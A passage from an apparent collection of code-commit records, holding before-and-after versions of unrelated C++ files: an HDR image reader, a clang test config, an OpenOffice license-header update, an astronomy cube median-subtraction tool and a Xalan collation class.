mantissa * std::pow(2.f, exponent);\n}\n\nvoid HDRTools::Rgbe2float(Float32Array& float32array, float red, float green, float blue,\n float exponent, size_t index)\n{\n if (exponent > 0.f) { \/*nonzero pixel*\/\n exponent = Ldexp(1.f, exponent - (128.f + 8.f));\n\n float32array[index + 0] = red * exponent;\n float32array[index + 1] = green * exponent;\n float32array[index + 2] = blue * exponent;\n }\n else {\n float32array[index + 0] = 0.f;\n float32array[index + 1] = 0.f;\n float32array[index + 2] = 0.f;\n }\n}\n\nstd::string HDRTools::readStringLine(const Uint8Array& uint8array, size_t startIndex)\n{\n std::ostringstream line;\n std::string character;\n\n for (size_t i = startIndex; i < uint8array.size() - startIndex; ++i) {\n character = StringTools::fromCharCode(uint8array[i]);\n\n if (character == \"\\n\") {\n break;\n }\n\n line << character;\n }\n\n return line.str();\n}\n\nHDRInfo HDRTools::RGBE_ReadHeader(const Uint8Array& uint8array)\n{\n HDRInfo headerInfo;\n\n auto height = 0ull;\n auto width = 0ull;\n\n auto line = readStringLine(uint8array, 0);\n if (line.at(0) != '#' || line.at(1) != '?') {\n throw std::runtime_error(\"Bad HDR Format.\");\n }\n\n auto endOfHeader = false;\n auto findFormat = false;\n auto lineIndex = 0ull;\n\n do {\n lineIndex += (line.size() + 1);\n line = readStringLine(uint8array, lineIndex);\n\n if (line == \"FORMAT=32-bit_rle_rgbe\") {\n findFormat = true;\n }\n else if (line.empty()) {\n endOfHeader = true;\n }\n } while (!endOfHeader);\n\n if (!findFormat) {\n throw std::runtime_error(\"HDR Bad header format, unsupported FORMAT\");\n }\n\n lineIndex += (line.size() + 1);\n line = readStringLine(uint8array, lineIndex);\n\n const std::regex sizeRegexp(\"^\\\\-Y (.*) \\\\+X (.*)$\", std::regex::optimize);\n std::smatch match;\n\n if (std::regex_search(line, match, sizeRegexp) && (match.size() == 3)) {\n \/\/ Shader include found\n width = std::stoul(match.str(2));\n height = std::stoul(match.str(1));\n }\n else {\n throw std::runtime_error(\"HDR Bad header format, no size\");\n }\n\n if (width < 8 || width > 0x7fff) {\n throw std::runtime_error(\"HDR Bad header format, unsupported size\");\n }\n\n lineIndex += (line.size() + 1);\n\n headerInfo.height = height;\n headerInfo.width = width;\n headerInfo.dataPosition = lineIndex;\n\n return headerInfo;\n}\n\nCubeMapInfo HDRTools::GetCubeMapTextureData(const Uint8Array& buffer, size_t size)\n{\n const auto hdrInfo = RGBE_ReadHeader(buffer);\n const auto data = RGBE_ReadPixels(buffer, hdrInfo);\n\n return PanoramaToCubeMapTools::ConvertPanoramaToCubemap(data, hdrInfo.width, hdrInfo.height,\n size);\n}\n\nFloat32Array HDRTools::RGBE_ReadPixels(const Uint8Array& uint8array, const HDRInfo& hdrInfo)\n{\n return RGBE_ReadPixels_RLE(uint8array, hdrInfo);\n}\n\nFloat32Array HDRTools::RGBE_ReadPixels_RLE(const Uint8Array& uint8array, const HDRInfo& hdrInfo)\n{\n auto num_scanlines = hdrInfo.height;\n const auto scanline_width = hdrInfo.width;\n\n std::uint8_t a, b, c, d, count;\n auto dataIndex = hdrInfo.dataPosition;\n auto index = 0ull, endIndex = 0ull, i = 0ull;\n\n ArrayBuffer scanLineArrayBuffer(scanline_width * 4); \/\/ four channel R G B E\n auto scanLineArray = stl_util::to_array<uint8_t>(scanLineArrayBuffer);\n\n \/\/ 3 channels of 4 bytes per pixel in float.\n ArrayBuffer resultBuffer(hdrInfo.width * hdrInfo.height * 4 * 3);\n auto resultArray = stl_util::to_array<float>(resultBuffer);\n\n \/\/ read in each successive scanline\n while (num_scanlines > 0) {\n a = uint8array[dataIndex++];\n b = uint8array[dataIndex++];\n c = uint8array[dataIndex++];\n d = uint8array[dataIndex++];\n\n if (a != 2 || b != 2 || (c & 0x80) || hdrInfo.width < 8 || hdrInfo.width > 32767) {\n return HDRTools::RGBE_ReadPixels_NOT_RLE(uint8array, hdrInfo);\n }\n\n if (static_cast<size_t>((c << 8) | d) != scanline_width) {\n throw std::runtime_error(\"HDR Bad header format, wrong scan line width\");\n }\n\n index = 0;\n\n \/\/ read each of the four channels for the scanline into the buffer\n for (i = 0; i < 4; i++) {\n endIndex = (i + 1) * scanline_width;\n\n while (index < endIndex) {\n a = uint8array[dataIndex++];\n b = uint8array[dataIndex++];\n\n if (a > 128) {\n \/\/ a run of the same value\n count = static_cast<std::uint8_t>(a - 128);\n if ((count == 0) || (count > endIndex - index)) {\n throw std::runtime_error(\"HDR Bad Format, bad scanline data (run)\");\n }\n\n while (count-- > 0) {\n scanLineArray[index++] = b;\n }\n }\n else {\n \/\/ a non-run\n count = a;\n if ((count == 0) || (count > endIndex - index)) {\n throw std::runtime_error(\"HDR Bad Format, bad scanline data (non-run)\");\n }\n\n scanLineArray[index++] = b;\n if (--count > 0) {\n for (size_t j = 0; j < count; ++j) {\n scanLineArray[index++] = uint8array[dataIndex++];\n }\n }\n }\n }\n }\n\n \/\/ now convert data from buffer into floats\n for (i = 0; i < scanline_width; ++i) {\n a = scanLineArray[i];\n b = scanLineArray[i + scanline_width];\n c = scanLineArray[i + 2 * scanline_width];\n d = scanLineArray[i + 3 * scanline_width];\n\n Rgbe2float(resultArray, a, b, c, d,\n (hdrInfo.height - num_scanlines) * scanline_width * 3 + i * 3);\n }\n\n --num_scanlines;\n }\n\n return resultArray;\n}\n\nFloat32Array HDRTools::RGBE_ReadPixels_NOT_RLE(const Uint8Array& uint8array, const HDRInfo& hdrInfo)\n{\n \/\/ this file is not run length encoded\n \/\/ read values sequentially\n\n auto num_scanlines = hdrInfo.height;\n const auto scanline_width = hdrInfo.width;\n\n uint8_t a = 0, b = 0, c = 0, d = 0;\n auto i = 0ull;\n auto dataIndex = hdrInfo.dataPosition;\n\n \/\/ 3 channels of 4 bytes per pixel in float.\n Float32Array resultArray(hdrInfo.width * hdrInfo.height * 4 * 3);\n\n \/\/ read in each successive scanline\n while (num_scanlines > 0) {\n for (i = 0; i < hdrInfo.width; i++) {\n a = uint8array[dataIndex++];\n b = uint8array[dataIndex++];\n c = uint8array[dataIndex++];\n d = uint8array[dataIndex++];\n\n Rgbe2float(resultArray, \/\/\n a, b, c, d, \/\/\n (hdrInfo.height - num_scanlines) * scanline_width * 3 + i * 3);\n }\n\n --num_scanlines;\n }\n\n return resultArray;\n}\n\n} \/\/ end of namespace BABYLON\n<|endoftext|>"} {"text":"<commit_before>\/\/RUN: make -C %testexecdir\/..\/..\/clang\/ test TESTSUITE=Sema CLANG=%p\/clangTestUnloader.sh\n<commit_msg>XFAIL clang's testsuite for now.<commit_after>\/\/RUN: make -C %testexecdir\/..\/..\/clang\/ test TESTSUITE=Sema CLANG=%p\/clangTestUnloader.sh\n\/\/XFAIL: *\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: tdcomp.cxx,v $\n *\n * $Revision: 1.9 $\n *\n * last change: $Author: obo $ $Date: 2004-06-04 02:33:08 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _STOC_RDBTDP_BASE_HXX\n#include \"base.hxx\"\n#endif\n\n#include \"registry\/reader.hxx\"\n#include \"registry\/version.h\"\n\nnamespace stoc_rdbtdp\n{\n\n\/\/__________________________________________________________________________________________________\nCompoundTypeDescriptionImpl::~CompoundTypeDescriptionImpl()\n{\n delete _pMembers;\n delete _pMemberNames;\n g_moduleCount.modCnt.release( &g_moduleCount.modCnt );\n}\n\n\/\/ XTypeDescription\n\/\/__________________________________________________________________________________________________\nTypeClass CompoundTypeDescriptionImpl::getTypeClass()\n throw(::com::sun::star::uno::RuntimeException)\n{\n return _eTypeClass;\n}\n\/\/__________________________________________________________________________________________________\nOUString CompoundTypeDescriptionImpl::getName()\n throw(::com::sun::star::uno::RuntimeException)\n{\n return _aName;\n}\n\n\/\/ XCompoundTypeDescription\n\/\/__________________________________________________________________________________________________\nReference< XTypeDescription > CompoundTypeDescriptionImpl::getBaseType()\n throw(::com::sun::star::uno::RuntimeException)\n{\n if (!_xBaseTD.is() && _aBaseType.getLength())\n {\n try\n {\n Reference< XTypeDescription > xBaseTD;\n if (_xTDMgr->getByHierarchicalName( _aBaseType ) >>= xBaseTD)\n {\n MutexGuard aGuard( getMutex() );\n if (! _xBaseTD.is())\n _xBaseTD = xBaseTD;\n return _xBaseTD;\n }\n }\n catch (NoSuchElementException &)\n {\n }\n \/\/ never try again, if no base td was found\n _aBaseType = OUString();\n }\n return _xBaseTD;\n}\n\/\/__________________________________________________________________________________________________\n\nnamespace {\n\nclass TypeParameter: public WeakImplHelper1< XTypeDescription > {\npublic:\n explicit TypeParameter(OUString const & name): m_name(name) {}\n\n virtual TypeClass SAL_CALL getTypeClass() throw (RuntimeException)\n { return TypeClass_UNKNOWN; }\n\n virtual OUString SAL_CALL getName() throw (RuntimeException)\n { return m_name; }\n\nprivate:\n OUString m_name;\n};\n\n}\n\nSequence< Reference< XTypeDescription > > CompoundTypeDescriptionImpl::getMemberTypes()\n throw(::com::sun::star::uno::RuntimeException)\n{\n if (! _pMembers)\n {\n typereg::Reader aReader(\n _aBytes.getConstArray(), _aBytes.getLength(), false,\n TYPEREG_VERSION_1);\n\n sal_uInt16 nFields = aReader.getFieldCount();\n Sequence< Reference< XTypeDescription > > * pTempMembers =\n new Sequence< Reference< XTypeDescription > >( nFields );\n Reference< XTypeDescription > * pMembers = pTempMembers->getArray();\n\n while (nFields--)\n {\n if ((aReader.getFieldFlags(nFields) & RT_ACCESS_PARAMETERIZED_TYPE)\n != 0)\n {\n pMembers[nFields] = new TypeParameter(\n aReader.getFieldTypeName(nFields));\n } else {\n try {\n _xTDMgr->getByHierarchicalName(\n aReader.getFieldTypeName(nFields).replace('\/', '.'))\n >>= pMembers[nFields];\n } catch (NoSuchElementException &) {}\n OSL_ENSURE(\n pMembers[nFields].is(), \"### compound member unknown!\");\n }\n }\n\n ClearableMutexGuard aGuard( getMutex() );\n if (_pMembers)\n {\n aGuard.clear();\n delete pTempMembers;\n }\n else\n {\n _pMembers = pTempMembers;\n }\n }\n\n return *_pMembers;\n}\n\/\/__________________________________________________________________________________________________\nSequence< OUString > CompoundTypeDescriptionImpl::getMemberNames()\n throw(::com::sun::star::uno::RuntimeException)\n{\n if (! _pMemberNames)\n {\n typereg::Reader aReader(\n _aBytes.getConstArray(), _aBytes.getLength(), false,\n TYPEREG_VERSION_1);\n\n sal_uInt16 nFields = aReader.getFieldCount();\n Sequence< OUString > * pTempMemberNames = new Sequence< OUString >( nFields );\n OUString * pMemberNames = pTempMemberNames->getArray();\n\n while (nFields--)\n {\n pMemberNames[nFields] = aReader.getFieldName( nFields );\n }\n\n ClearableMutexGuard aGuard( getMutex() );\n if (_pMemberNames)\n {\n aGuard.clear();\n delete pTempMemberNames;\n }\n else\n {\n _pMemberNames = pTempMemberNames;\n }\n }\n return *_pMemberNames;\n}\n\n}\n\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.9.58); FILE MERGED 2005\/09\/05 17:11:05 rt 1.9.58.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: tdcomp.cxx,v $\n *\n * $Revision: 1.10 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 08:05:57 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _STOC_RDBTDP_BASE_HXX\n#include \"base.hxx\"\n#endif\n\n#include \"registry\/reader.hxx\"\n#include \"registry\/version.h\"\n\nnamespace stoc_rdbtdp\n{\n\n\/\/__________________________________________________________________________________________________\nCompoundTypeDescriptionImpl::~CompoundTypeDescriptionImpl()\n{\n delete _pMembers;\n delete _pMemberNames;\n g_moduleCount.modCnt.release( &g_moduleCount.modCnt );\n}\n\n\/\/ XTypeDescription\n\/\/__________________________________________________________________________________________________\nTypeClass CompoundTypeDescriptionImpl::getTypeClass()\n throw(::com::sun::star::uno::RuntimeException)\n{\n return _eTypeClass;\n}\n\/\/__________________________________________________________________________________________________\nOUString CompoundTypeDescriptionImpl::getName()\n throw(::com::sun::star::uno::RuntimeException)\n{\n return _aName;\n}\n\n\/\/ XCompoundTypeDescription\n\/\/__________________________________________________________________________________________________\nReference< XTypeDescription > CompoundTypeDescriptionImpl::getBaseType()\n throw(::com::sun::star::uno::RuntimeException)\n{\n if (!_xBaseTD.is() && _aBaseType.getLength())\n {\n try\n {\n Reference< XTypeDescription > xBaseTD;\n if (_xTDMgr->getByHierarchicalName( _aBaseType ) >>= xBaseTD)\n {\n MutexGuard aGuard( getMutex() );\n if (! _xBaseTD.is())\n _xBaseTD = xBaseTD;\n return _xBaseTD;\n }\n }\n catch (NoSuchElementException &)\n {\n }\n \/\/ never try again, if no base td was found\n _aBaseType = OUString();\n }\n return _xBaseTD;\n}\n\/\/__________________________________________________________________________________________________\n\nnamespace {\n\nclass TypeParameter: public WeakImplHelper1< XTypeDescription > {\npublic:\n explicit TypeParameter(OUString const & name): m_name(name) {}\n\n virtual TypeClass SAL_CALL getTypeClass() throw (RuntimeException)\n { return TypeClass_UNKNOWN; }\n\n virtual OUString SAL_CALL getName() throw (RuntimeException)\n { return m_name; }\n\nprivate:\n OUString m_name;\n};\n\n}\n\nSequence< Reference< XTypeDescription > > CompoundTypeDescriptionImpl::getMemberTypes()\n throw(::com::sun::star::uno::RuntimeException)\n{\n if (! _pMembers)\n {\n typereg::Reader aReader(\n _aBytes.getConstArray(), _aBytes.getLength(), false,\n TYPEREG_VERSION_1);\n\n sal_uInt16 nFields = aReader.getFieldCount();\n Sequence< Reference< XTypeDescription > > * pTempMembers =\n new Sequence< Reference< XTypeDescription > >( nFields );\n Reference< XTypeDescription > * pMembers = pTempMembers->getArray();\n\n while (nFields--)\n {\n if ((aReader.getFieldFlags(nFields) & RT_ACCESS_PARAMETERIZED_TYPE)\n != 0)\n {\n pMembers[nFields] = new TypeParameter(\n aReader.getFieldTypeName(nFields));\n } else {\n try {\n _xTDMgr->getByHierarchicalName(\n aReader.getFieldTypeName(nFields).replace('\/', '.'))\n >>= pMembers[nFields];\n } catch (NoSuchElementException &) {}\n OSL_ENSURE(\n pMembers[nFields].is(), \"### compound member unknown!\");\n }\n }\n\n ClearableMutexGuard aGuard( getMutex() );\n if (_pMembers)\n {\n aGuard.clear();\n delete pTempMembers;\n }\n else\n {\n _pMembers = pTempMembers;\n }\n }\n\n return *_pMembers;\n}\n\/\/__________________________________________________________________________________________________\nSequence< OUString > CompoundTypeDescriptionImpl::getMemberNames()\n throw(::com::sun::star::uno::RuntimeException)\n{\n if (! _pMemberNames)\n {\n typereg::Reader aReader(\n _aBytes.getConstArray(), _aBytes.getLength(), false,\n TYPEREG_VERSION_1);\n\n sal_uInt16 nFields = aReader.getFieldCount();\n Sequence< OUString > * pTempMemberNames = new Sequence< OUString >( nFields );\n OUString * pMemberNames = pTempMemberNames->getArray();\n\n while (nFields--)\n {\n pMemberNames[nFields] = aReader.getFieldName( nFields );\n }\n\n ClearableMutexGuard aGuard( getMutex() );\n if (_pMemberNames)\n {\n aGuard.clear();\n delete pTempMemberNames;\n }\n else\n {\n _pMemberNames = pTempMemberNames;\n }\n }\n return *_pMemberNames;\n}\n\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>#include <phypp.hpp>\n\nint phypp_main(int argc, char* argv[]) {\n if (argc < 2) {\n print(\"usage: median_sub <directory> <mask_catalog>\");\n return 0;\n }\n\n std::string dir = file::directorize(argv[1]);\n vec1s files = dir+file::list_files(dir+\"sci_reconstructed*-sci.fits\");\n if (files.empty()) {\n files = dir+file::list_files(dir+\"SCI_RECONSTRUCTED*-sci.fits\");\n }\n\n vec1d ra, dec, size;\n if (argc > 2) {\n vec1s id;\n ascii::read_table(argv[2], ascii::find_skip(argv[2]), id, ra, dec, size);\n }\n\n auto ksigma = [](vec1d data) {\n double v = median(data);\n double m = 1.48*median(abs(data - v));\n vec1u idg = where(abs(data - v) < 7*m);\n return mean(data[idg]);\n };\n\n for (auto oname : files) {\n std::string newfile = file::get_basename(oname);\n file::copy(oname, newfile);\n fits::image fimg(newfile);\n for (uint_t i : range(1, fimg.hdu_count())) {\n fimg.reach_hdu(i);\n if (fimg.axis_count() != 3) continue;\n\n vec3d cube;\n fimg.read(cube);\n\n uint_t ny = cube.dims[1];\n uint_t nx = cube.dims[2];\n\n vec2b mask = replicate(true, ny, nx);\n\n \/\/ Mask nearby sources from the provided catalog (if any)\n if (!ra.empty()) {\n astro::wcs w(fimg.read_header());\n vec1d x, y;\n astro::ad2xy(w, ra, dec, x, y);\n x -= 1.0; y -= 1.0;\n double aspix;\n astro::get_pixel_size(w, aspix);\n vec1d r = size\/aspix;\n\n vec2d ix = generate_img(mask.dims, [](int_t, int_t tx) { return tx; });\n vec2d iy = generate_img(mask.dims, [](int_t ty, int_t) { return ty; });\n\n for (uint_t s : range(ra)) {\n mask = mask && sqr(x[s] - ix) + sqr(y[s] - iy) > sqr(r[s]);\n }\n }\n\n \/\/ Mask borders\n mask(0,_) = mask(ny-1,_) = mask(_,0) = mask(_,nx-1) = false;\n\n \/\/ Subtract whole IFU\n vec1u idg = where(mask);\n for (uint_t l : range(cube.dims[0])) {\n cube(l,_,_) -= ksigma(cube(l,_,_)[idg]);\n }\n\n fimg.update(cube);\n }\n }\n\n return 0;\n}\n<commit_msg>median_sub can now simply mask the center of the IFU<commit_after>#include <phypp.hpp>\n\nint phypp_main(int argc, char* argv[]) {\n if (argc < 2) {\n print(\"usage: median_sub <directory> [options]\");\n return 0;\n }\n\n std::string dir = file::directorize(argv[1]);\n vec1s files = dir+file::list_files(dir+\"sci_reconstructed*-sci.fits\");\n if (files.empty()) {\n files = dir+file::list_files(dir+\"SCI_RECONSTRUCTED*-sci.fits\");\n }\n\n bool mask_center = false;\n double mask_radius = 0.5; \/\/ arcsec\n std::string masks;\n read_args(argc-1, argv+1, arg_list(mask_center, masks, mask_radius));\n\n vec1d ra, dec, size;\n if (!masks.empty()) {\n ascii::read_table(masks, ascii::find_skip(masks), _, ra, dec, size);\n }\n\n auto ksigma = [](vec1d data) {\n double v = median(data);\n double m = 1.48*median(abs(data - v));\n vec1u idg = where(abs(data - v) < 7*m);\n return mean(data[idg]);\n };\n\n for (auto oname : files) {\n std::string newfile = file::get_basename(oname);\n file::copy(oname, newfile);\n fits::image fimg(newfile);\n for (uint_t i : range(1, fimg.hdu_count())) {\n fimg.reach_hdu(i);\n if (fimg.axis_count() != 3) continue;\n\n vec3d cube;\n fimg.read(cube);\n\n uint_t ny = cube.dims[1];\n uint_t nx = cube.dims[2];\n\n vec2b mask = replicate(true, ny, nx);\n\n \/\/ Mask nearby sources from the provided catalog (if any)\n if (!ra.empty()) {\n astro::wcs w(fimg.read_header());\n vec1d x, y;\n astro::ad2xy(w, ra, dec, x, y);\n x -= 1.0; y -= 1.0;\n double aspix = 1.0;\n if (!astro::get_pixel_size(w, aspix)) {\n error(\"could not read pixel size from cube\");\n return 1;\n }\n\n vec1d r = size\/aspix;\n\n vec2d ix = generate_img(mask.dims, [](int_t, int_t tx) { return tx; });\n vec2d iy = generate_img(mask.dims, [](int_t ty, int_t) { return ty; });\n\n for (uint_t s : range(ra)) {\n mask = mask && sqr(x[s] - ix) + sqr(y[s] - iy) > sqr(r[s]);\n }\n } else if (mask_center) {\n astro::wcs w(fimg.read_header());\n double aspix = 1.0;\n if (!astro::get_pixel_size(w, aspix)) {\n error(\"could not read pixel size from cube\");\n return 1;\n }\n\n vec2d ix = generate_img(mask.dims, [](int_t, int_t tx) { return tx; });\n vec2d iy = generate_img(mask.dims, [](int_t ty, int_t) { return ty; });\n\n mask = mask && sqr(nx\/2 - ix) + sqr(ny\/2 - iy) > sqr(mask_radius\/aspix);\n }\n\n \/\/ Mask borders\n mask(0,_) = mask(ny-1,_) = mask(_,0) = mask(_,nx-1) = false;\n\n \/\/ Subtract whole IFU\n vec1u idg = where(mask);\n for (uint_t l : range(cube.dims[0])) {\n cube(l,_,_) -= ksigma(cube(l,_,_)[idg]);\n }\n\n fimg.update(cube);\n }\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 2000-2002 The Apache Software Foundation. All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment: \n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written \n * permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com. For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n#include \"ICUBridgeCollationCompareFunctorImpl.hpp\"\n#include \"ICUBridge.hpp\"\n\n\n\n#include <algorithm>\n#include <cstdlib>\n\n\n\n#include <Include\/XalanAutoPtr.hpp>\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n#include <PlatformSupport\/XalanUnicode.hpp>\n\n\n\nXALAN_CPP_NAMESPACE_BEGIN\n\n\n\nconst StylesheetExecutionContextDefault::DefaultCollationCompareFunctor\t\tICUBridgeCollationCompareFunctorImpl::s_defaultFunctor;\n\n\n\ninline ICUBridgeCollationCompareFunctorImpl::CollatorType*\ncreateCollator(\n\t\t\tUErrorCode&\t\t\ttheStatus,\n\t\t\tconst Locale&\t\ttheLocale,\n\t\t\tXalanDOMString*\t\ttheLocaleName = 0)\n{\n\ttypedef ICUBridgeCollationCompareFunctorImpl::CollatorType\tCollatorType;\n\n\tif (theLocaleName != 0)\n\t{\n\t\t*theLocaleName = theLocale.getName();\n\n\t\t\/\/ Replace _ with -, since that's what xml:lang specifies...\n\t\tXalanDOMString::size_type\ttheIndex;\n\n\t\twhile((theIndex = indexOf(*theLocaleName, XalanUnicode::charLowLine)) != theLocaleName->length())\n\t\t{\n\t\t\t(*theLocaleName)[theIndex] = XalanUnicode::charHyphenMinus;\n\t\t}\n\t}\n\n\treturn CollatorType::createInstance(theLocale, theStatus);\n}\n\n\n\ninline ICUBridgeCollationCompareFunctorImpl::CollatorType*\ncreateCollator(\n\t\t\tUErrorCode&\t\t\ttheStatus,\n\t\t\tXalanDOMString*\t\ttheLocaleName = 0)\n{\n\tconst char*\t\ttheLang =\n#if defined(XALAN_STRICT_ANSI_HEADERS)\n\t\t\tstd::getenv(\"LANG\");\n#else\n\t\t\tgetenv(\"LANG\");\n#endif\n\n\tif (theLang == 0)\n\t{\n#if defined(XALAN_ICU_DEFAULT_LOCALE_PROBLEM)\n\t\treturn createCollator(theStatus, Locale::US, theLocaleName);\n#else\n\t\treturn createCollator(theStatus, Locale::getDefault(), theLocaleName);\n#endif\n\t}\n\telse\n\t{\n\t\treturn createCollator(theStatus, Locale(theLang), theLocaleName);\n\t}\n}\n\n\n\nICUBridgeCollationCompareFunctorImpl::ICUBridgeCollationCompareFunctorImpl(bool\t\tfCacheCollators) :\n\tm_isValid(false),\n\tm_defaultCollator(0),\n\tm_defaultCollatorLocaleName(),\n\tm_cacheCollators(fCacheCollators),\n\tm_collatorCache()\n{\n\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\tm_defaultCollator = createCollator(theStatus, &m_defaultCollatorLocaleName);\n\n\tif (U_SUCCESS(theStatus))\n\t{\n\t\tm_isValid = true;\n\t}\n}\n\n\n\nICUBridgeCollationCompareFunctorImpl::~ICUBridgeCollationCompareFunctorImpl()\n{\n#if !defined(XALAN_NO_NAMESPACES)\n\tusing std::for_each;\n#endif\n\n\tdelete m_defaultCollator;\n\n\tfor_each(\n\t\t\tm_collatorCache.begin(),\n\t\t\tm_collatorCache.end(),\n\t\t\tCollationCacheStruct::CollatorDeleteFunctor());\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompare(\n\t\t\tconst CollatorType&\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS) const\n{\n#if defined(XALAN_USE_WCHAR_CAST_HACK)\n\treturn theCollator.compare(\n\t\t\t\t(const wchar_t*)theLHS,\n\t\t\t\tlength(theLHS),\n\t\t\t\t(const wchar_t*)theRHS,\n\t\t\t\tlength(theRHS));\n#else\n\treturn theCollator.compare(\n\t\t\t\ttheLHS,\n\t\t\t\tlength(theLHS),\n\t\t\t\ttheRHS,\n\t\t\t\tlength(theRHS));\n#endif\n}\n\n\n\ninline UColAttributeValue\ncaseOrderConvert(ICUBridgeCollationCompareFunctorImpl::eCaseOrder\ttheCaseOrder)\n{\n\tswitch(theCaseOrder)\n\t{\n\tcase StylesheetExecutionContext::eLowerFirst:\n\t\treturn UCOL_LOWER_FIRST;\n\t\tbreak;\n\n\tcase StylesheetExecutionContext::eUpperFirst:\n\t\treturn UCOL_UPPER_FIRST;\n\t\tbreak;\n\n\tcase StylesheetExecutionContext::eDefault:\n\t\tbreak;\n\n\tdefault:\n\t\tassert(false);\n\t\tbreak;\n\t}\n\n\treturn UCOL_DEFAULT;\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doDefaultCompare(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS) const\n{\n\tif (isValid() == false)\n\t{\n\t\treturn s_defaultFunctor(theLHS, theRHS, StylesheetExecutionContext::eDefault);\n\t}\n\telse\n\t{\n\t\tassert(m_defaultCollator != 